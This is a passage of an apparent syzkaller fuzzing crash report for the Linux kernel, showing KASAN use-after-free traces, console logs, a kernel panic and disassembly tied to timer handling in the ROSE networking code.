 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kmem_cache_free+0x124/0x6a0 mm/slub.c:6295
 kfree_skbmem+0x19a/0x210 net/core/skbuff.c:1151
 __kfree_skb net/core/skbuff.c:1218 [inline]
 consume_skb net/core/skbuff.c:1450 [inline]
 consume_skb+0xd1/0x110 net/core/skbuff.c:1444
 nsim_dev_trap_report drivers/net/netdevsim/dev.c:892 [inline]
 nsim_dev_trap_report_work+0x8cf/0xd10 drivers/net/netdevsim/dev.c:922
 process_one_work+0xa23/0x19a0 kernel/workqueue.c:3276
 process_scheduled_works kernel/workqueue.c:3359 [inline]
 worker_thread+0x5ef/0xe50 kernel/workqueue.c:3440
 kthread+0x370/0x450 kernel/kthread.c:436
 ret_from_fork+0x754/0xd80 arch/x86/kernel/process.c:158
 ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
 </TASK>

Allocated by task 24304:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 poison_kmalloc_redzone mm/kasan/common.c:398 [inline]
 __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:415
 kmalloc_noprof include/linux/slab.h:950 [inline]
 rose_add_node net/rose/rose_route.c:85 [inline]
 rose_rt_ioctl+0x586/0x2550 net/rose/rose_route.c:748
 rose_ioctl+0x491/0x7d0 net/rose/af_rose.c:1387
 sock_do_ioctl+0x118/0x280 net/socket.c:1254
 sock_ioctl+0x599/0x6b0 net/socket.c:1375
 vfs_ioctl fs/ioctl.c:51 [inline]
 __do_sys_ioctl fs/ioctl.c:597 [inline]
 __se_sys_ioctl fs/ioctl.c:583 [inline]
 __x64_sys_ioctl+0x18e/0x210 fs/ioctl.c:583
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Freed by task 1105:
 kasan_save_stack+0x30/0x50 mm/kasan/common.c:57
 kasan_save_track+0x14/0x30 mm/kasan/common.c:78
 kasan_save_free_info+0x3b/0x70 mm/kasan/generic.c:584
 poison_slab_object mm/kasan/common.c:253 [inline]
 __kasan_slab_free+0x5f/0x80 mm/kasan/common.c:285
 kasan_slab_free include/linux/kasan.h:235 [inline]
 slab_free_hook mm/slub.c:2685 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x1f6/0x6b0 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x53f/0x630 net/rose/rose_timer.c:183
 call_timer_fn+0x19a/0x670 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers+0x757/0xb30 kernel/time/timer.c:2373
 __run_timer_base kernel/time/timer.c:2385 [inline]
 __run_timer_base kernel/time/timer.c:2377 [inline]
 run_timer_base+0x114/0x190 kernel/time/timer.c:2394
 run_timer_softirq+0x1a/0x50 kernel/time/timer.c:2404
 handle_softirqs+0x1eb/0x9e0 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0xef/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa3/0xc0 arch/x86/kernel/apic/apic.c:1056
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697

The buggy address belongs to the object at ffff888056f1ec00
 which belongs to the cache kmalloc-512 of size 512
The buggy address is located 24 bytes inside of
 freed 512-byte region [ffff888056f1ec00, ffff888056f1ee00)

The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0xffff888056f1f800 pfn:0x56f1c
head: order:2 mapcount:0 entire_mapcount:0 nr_pages_mapped:0 pincount:0
flags: 0xfff00000000240(workingset|head|node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
raw: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000240 ffff88813fe40c80 ffffea0000deff10 ffffea0001641210
head: ffff888056f1f800 000000080010000d 00000000f5000000 0000000000000000
head: 00fff00000000002 ffffea00015bc701 00000000ffffffff 00000000ffffffff
head: ffffffffffffffff 0000000000000000 00000000ffffffff 0000000000000004
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 2, migratetype Unmovable, gfp_mask 0xd20c0(__GFP_IO|__GFP_FS|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 23259, tgid 23259 (dhcpcd-run-hook), ts 1545801254190, free_ts 1543250136898
 set_page_owner include/linux/page_owner.h:32 [inline]
 post_alloc_hook+0x153/0x170 mm/page_alloc.c:1889
 prep_new_page mm/page_alloc.c:1897 [inline]
 get_page_from_freelist+0x111d/0x3140 mm/page_alloc.c:3962
 __alloc_frozen_pages_noprof+0x27c/0x2ba0 mm/page_alloc.c:5250
 alloc_slab_page mm/slub.c:3292 [inline]
 allocate_slab mm/slub.c:3481 [inline]
 new_slab+0xa6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_noprof+0x69a/0x850 mm/slub.c:5266
 kmalloc_node_noprof include/linux/slab.h:1081 [inline]
 alloc_slab_obj_exts+0xae/0x260 mm/slub.c:2167
 account_slab mm/slub.c:3435 [inline]
 allocate_slab mm/slub.c:3512 [inline]
 new_slab+0x4c6/0x6b0 mm/slub.c:3539
 refill_objects+0x26b/0x400 mm/slub.c:7175
 refill_sheaf mm/slub.c:2812 [inline]
 __pcs_replace_empty_main+0x1ab/0x660 mm/slub.c:4615
 alloc_from_pcs mm/slub.c:4717 [inline]
 slab_alloc_node mm/slub.c:4851 [inline]
 kmem_cache_alloc_noprof+0x480/0x6e0 mm/slub.c:4873
 anon_vma_chain_alloc mm/rmap.c:142 [inline]
 anon_vma_clone+0x2ba/0xcd0 mm/rmap.c:342
 anon_vma_fork+0x1bb/0x6b0 mm/rmap.c:404
 dup_mmap+0x141f/0x2180 mm/mmap.c:1804
 dup_mm kernel/fork.c:1531 [inline]
 copy_mm kernel/fork.c:1583 [inline]
 copy_process+0x7523/0x7a40 kernel/fork.c:2223
page last free pid 23218 tgid 23218 stack trace:
 reset_page_owner include/linux/page_owner.h:25 [inline]
 __free_pages_prepare mm/page_alloc.c:1433 [inline]
 __free_frozen_pages+0x7e1/0x10d0 mm/page_alloc.c:2978
 qlink_free mm/kasan/quarantine.c:163 [inline]
 qlist_free_all+0x47/0xe0 mm/kasan/quarantine.c:179
 kasan_quarantine_reduce+0x1a0/0x1f0 mm/kasan/quarantine.c:286
 __kasan_slab_alloc+0x69/0x90 mm/kasan/common.c:350
 kasan_slab_alloc include/linux/kasan.h:253 [inline]
 slab_post_alloc_hook mm/slub.c:4538 [inline]
 slab_alloc_node mm/slub.c:4866 [inline]
 __do_kmalloc_node mm/slub.c:5259 [inline]
 __kmalloc_node_track_caller_noprof+0x2ba/0x850 mm/slub.c:5368
 __kmemdup_nul mm/util.c:64 [inline]
 kstrdup+0x51/0xe0 mm/util.c:84
 bprm_change_interp+0x78/0xe0 fs/exec.c:1474
 load_script+0x4bd/0x770 fs/binfmt_script.c:125
 search_binary_handler fs/exec.c:1664 [inline]
 exec_binprm fs/exec.c:1696 [inline]
 bprm_execve fs/exec.c:1748 [inline]
 bprm_execve+0x8fb/0x1680 fs/exec.c:1724
 do_execveat_common.isra.0+0x4a5/0x580 fs/exec.c:1846
 __do_sys_execve fs/exec.c:1930 [inline]
 __se_sys_execve fs/exec.c:1924 [inline]
 __x64_sys_execve+0x93/0xd0 fs/exec.c:1924
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x106/0xf80 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f

Memory state around the buggy address:
 ffff888056f1eb00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
 ffff888056f1eb80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
>ffff888056f1ec00: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
                            ^
 ffff888056f1ec80: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
 ffff888056f1ed00: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
==================================================================
----------------
Code disassembly (best guess):
   0:	48 89 fa             	mov    %rdi,%rdx
   3:	48 c1 ea 03          	shr    $0x3,%rdx
   7:	80 3c 02 00          	cmpb   $0x0,(%rdx,%rax,1)
   b:	75 5c                	jne    0x69
   d:	48 03 1c ed e0 b8 12 	add    -0x71ed4720(,%rbp,8),%rbx
  14:	8e
  15:	48 b8 00 00 00 00 00 	movabs $0xdffffc0000000000,%rax
  1c:	fc ff df
  1f:	48 89 da             	mov    %rbx,%rdx
  22:	48 c1 ea 03          	shr    $0x3,%rdx
  26:	0f b6 14 02          	movzbl (%rdx,%rax,1),%edx
* 2a:	48 89 d8             	mov    %rbx,%rax <-- trapping instruction
  2d:	83 e0 07             	and    $0x7,%eax
  30:	83 c0 03             	add    $0x3,%eax
  33:	38 d0                	cmp    %dl,%al
  35:	7c 04                	jl     0x3b
  37:	84 d2                	test   %dl,%dl
  39:	75 24                	jne    0x5f
  3b:	8b 03                	mov    (%rbx),%eax
  3d:	c1 e8 02             	shr    $0x2,%eax

IsProbe: false
Reproduced: true
Console Output: Warning: Permanently added '[localhost]:59615' (ED25519) to the list of known hosts.
[  116.462843][ T6051] mkiss: ax0: crc mode is auto.
[  116.468103][   T33] kauditd_printk_skb: 18 callbacks suppressed
[  116.468118][   T33] audit: type=1400 audit(1779796876.743:106): avc:  denied  { create } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.477377][ T6051] mkiss: ax0: Trying crc-smack
[  116.497325][ T1097] mkiss: ax0: Switching to crc-smack
[  116.528564][   T33] audit: type=1400 audit(1779796876.743:107): avc:  denied  { ioctl } for  pid=6051 comm="syz-executor321" path="socket:[8135]" dev="sockfs" ino=8135 ioctlcmd=0x8913 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.547622][   T33] audit: type=1400 audit(1779796876.753:108): avc:  denied  { bind } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.563885][   T33] audit: type=1400 audit(1779796876.753:109): avc:  denied  { connect } for  pid=6051 comm="syz-executor321" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=rose_socket permissive=1
[  116.619746][    C0] ------------[ cut here ]------------
[  116.623165][    C0] ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350
[  116.631863][    C0] WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550, CPU#0: swapper/0/0
[  116.637394][    C0] Modules linked in:
[  116.639584][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.643387][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.647754][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.650684][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.659535][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.662834][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.665881][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.668967][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.672129][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.676430][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.680812][    C0] FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
[  116.685611][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  116.689033][    C0] CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
[  116.693750][    C0] Call Trace:
[  116.695656][    C0]  <IRQ>
[  116.697247][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.700455][    C0]  kfree+0x13a/0x630
[  116.702527][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.704694][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.706499][    C0]  call_timer_fn+0x192/0x640
[  116.708722][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.711575][    C0]  ? call_timer_fn+0xd4/0x640
[  116.713783][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.716573][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.719224][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.721218][    C0]  __run_timer_base+0x652/0x8b0
[  116.723149][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.725135][    C0]  ? clockevents_program_event+0x247/0x350
[  116.727542][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.729854][    C0]  run_timer_softirq+0xb7/0x170
[  116.731644][    C0]  handle_softirqs+0x22a/0x870
[  116.734013][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.735727][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.737794][    C0]  irq_exit_rcu+0x9/0x30
[  116.739303][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.741801][    C0]  </IRQ>
[  116.743054][    C0]  <TASK>
[  116.744125][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.746620][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
[  116.749348][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  116.758207][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  116.761710][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  116.766031][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  116.770451][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  116.773976][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  116.777027][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  116.781342][    C0]  ? do_idle+0x36a/0x5f0
[  116.783867][    C0]  default_idle+0x9/0x20
[  116.786239][    C0]  default_idle_call+0x72/0xb0
[  116.788857][    C0]  do_idle+0x36a/0x5f0
[  116.791260][    C0]  ? __pfx_do_idle+0x10/0x10
[  116.793412][    C0]  cpu_startup_entry+0x43/0x60
[  116.795776][    C0]  rest_init+0x2de/0x300
[  116.798234][    C0]  start_kernel+0x385/0x3d0
[  116.800992][    C0]  x86_64_start_reservations+0x24/0x30
[  116.804151][    C0]  x86_64_start_kernel+0x143/0x1c0
[  116.807090][    C0]  common_startup_64+0x13e/0x147
[  116.810064][    C0]  </TASK>
[  116.811856][    C0] Kernel panic - not syncing: kernel: panic_on_warn set ...
[  116.816329][    C0] CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
[  116.821097][    C0] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  116.826032][    C0] Call Trace:
[  116.827965][    C0]  <IRQ>
[  116.829611][    C0]  vpanic+0x56c/0xa60
[  116.831921][    C0]  ? __pfx__printk+0x10/0x10
[  116.834531][    C0]  ? __pfx_vpanic+0x10/0x10
[  116.837279][    C0]  ? is_bpf_text_address+0x292/0x2b0
[  116.840287][    C0]  ? is_bpf_text_address+0x26/0x2b0
[  116.843354][    C0]  panic+0xc5/0xd0
[  116.844817][    C0]  ? __pfx_panic+0x10/0x10
[  116.847375][    C0]  ? common_startup_64+0x13e/0x147
[  116.850526][    C0]  __warn+0x315/0x4f0
[  116.852959][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.856389][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.859431][    C0]  __report_bug+0x29a/0x540
[  116.861854][    C0]  ? debug_check_no_obj_freed+0x405/0x550
[  116.864642][    C0]  ? __pfx___report_bug+0x10/0x10
[  116.867424][    C0]  ? add_lock_to_list+0xc7/0x100
[  116.870222][    C0]  report_bug_entry+0x19a/0x290
[  116.872887][    C0]  ? debug_check_no_obj_freed+0x44a/0x550
[  116.874987][    C0]  ? debug_check_no_obj_freed+0x44f/0x550
[  116.878332][    C0]  handle_bug+0xce/0x200
[  116.880841][    C0]  exc_invalid_op+0x1a/0x50
[  116.883619][    C0]  asm_exc_invalid_op+0x1a/0x20
[  116.886678][    C0] RIP: 0010:debug_check_no_obj_freed+0x44a/0x550
[  116.890365][    C0] Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
[  116.900530][    C0] RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
[  116.905253][    C0] RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
[  116.909454][    C0] RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
[  116.913370][    C0] RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
[  116.916791][    C0] R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
[  116.921195][    C0] R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
[  116.925711][    C0]  ? __pfx_timer_debug_hint+0x10/0x10
[  116.928798][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.931211][    C0]  ? __pfx_rose_t0timer_expiry+0x10/0x10
[  116.934524][    C0]  kfree+0x13a/0x630
[  116.936813][    C0]  ? rose_timer_expiry+0x4cb/0x600
[  116.939757][    C0]  rose_timer_expiry+0x4cb/0x600
[  116.942600][    C0]  call_timer_fn+0x192/0x640
[  116.944270][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.947246][    C0]  ? call_timer_fn+0xd4/0x640
[  116.949586][    C0]  ? __pfx_call_timer_fn+0x10/0x10
[  116.952515][    C0]  ? _raw_spin_unlock_irq+0x23/0x50
[  116.954266][    C0]  ? __pfx_rose_timer_expiry+0x10/0x10
[  116.956475][    C0]  __run_timer_base+0x652/0x8b0
[  116.959355][    C0]  ? __pfx___run_timer_base+0x10/0x10
[  116.962064][    C0]  ? clockevents_program_event+0x247/0x350
[  116.965403][    C0]  ? sched_clock_cpu+0x74/0x440
[  116.968419][    C0]  run_timer_softirq+0xb7/0x170
[  116.970139][    C0]  handle_softirqs+0x22a/0x870
[  116.973055][    C0]  ? __irq_exit_rcu+0x5f/0x150
[  116.975990][    C0]  __irq_exit_rcu+0x5f/0x150
[  116.978341][    C0]  irq_exit_rcu+0x9/0x30
[  116.979855][    C0]  sysvec_apic_timer_interrupt+0xa6/0xc0
[  116.982948][    C0]  </IRQ>
[  116.984641][    C0]  <TASK>
[  116.986342][    C0]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  116.989694][    C0] RIP: 0010:pv_native_safe_halt+0xf/0x20
[  116.994672][    C0] Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
[  117.004667][    C0] RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
[  117.008110][    C0] RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
[  117.012603][    C0] RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
[  117.015446][    C0] RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
[  117.018188][    C0] R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
[  117.022952][    C0] R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
[  117.027693][    C0]  ? do_idle+0x36a/0x5f0
[  117.030410][    C0]  default_idle+0x9/0x20
[  117.033538][    C0]  default_idle_call+0x72/0xb0
[  117.035326][    C0]  do_idle+0x36a/0x5f0
[  117.036814][    C0]  ? __pfx_do_idle+0x10/0x10
[  117.039394][    C0]  cpu_startup_entry+0x43/0x60
[  117.042103][    C0]  rest_init+0x2de/0x300
[  117.044724][    C0]  start_kernel+0x385/0x3d0
[  117.046506][    C0]  x86_64_start_reservations+0x24/0x30
[  117.049683][    C0]  x86_64_start_kernel+0x143/0x1c0
[  117.052609][    C0]  common_startup_64+0x13e/0x147
[  117.055261][    C0]  </TASK>
[  117.061086][    C0] Kernel Offset: disabled
[  117.063843][    C0] Rebooting in 86400 seconds..

Strace Output: 
Crash Report: ------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88811733b090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#0: swapper/0/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#0: swapper/0/0
Modules linked in:
CPU: 0 UID: 0 PID: 0 Comm: swapper/0 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000007b68 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a51df10 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88811733b090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88811733b200
R13: ffffffff90255cb0 R14: ffff88811733b000 R15: ffff88811733b090
FS:  0000000000000000(0000) GS:ffff8881a55ef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000562af2b84300 CR3: 000000000e54e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 run_timer_base kernel/time/timer.c:2394 [inline]
 run_timer_softirq+0xb7/0x170 kernel/time/timer.c:2404
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffffff8e407dc0 EFLAGS: 00000202
RAX: 0000000000118161 RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffffff8e407eb0 R08: ffff88813883399b R09: 1ffff11027106733
R10: dffffc0000000000 R11: ffffed1027106734 R12: 0000000000000000
R13: 1ffffffff1c92a08 R14: 0000000000000000 R15: 1ffffffff1c92a08
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 rest_init+0x2de/0x300 init/main.c:760
 start_kernel+0x385/0x3d0 init/main.c:1210
 x86_64_start_reservations+0x24/0x30 arch/x86/kernel/head64.c:310
 x86_64_start_kernel+0x143/0x1c0 arch/x86/kernel/head64.c:291
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah


Other crashes triggered:

------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88810b1dd090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#1: swapper/1/0
Modules linked in:
CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000a089a8 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a506798 RCX: 0000000000000000
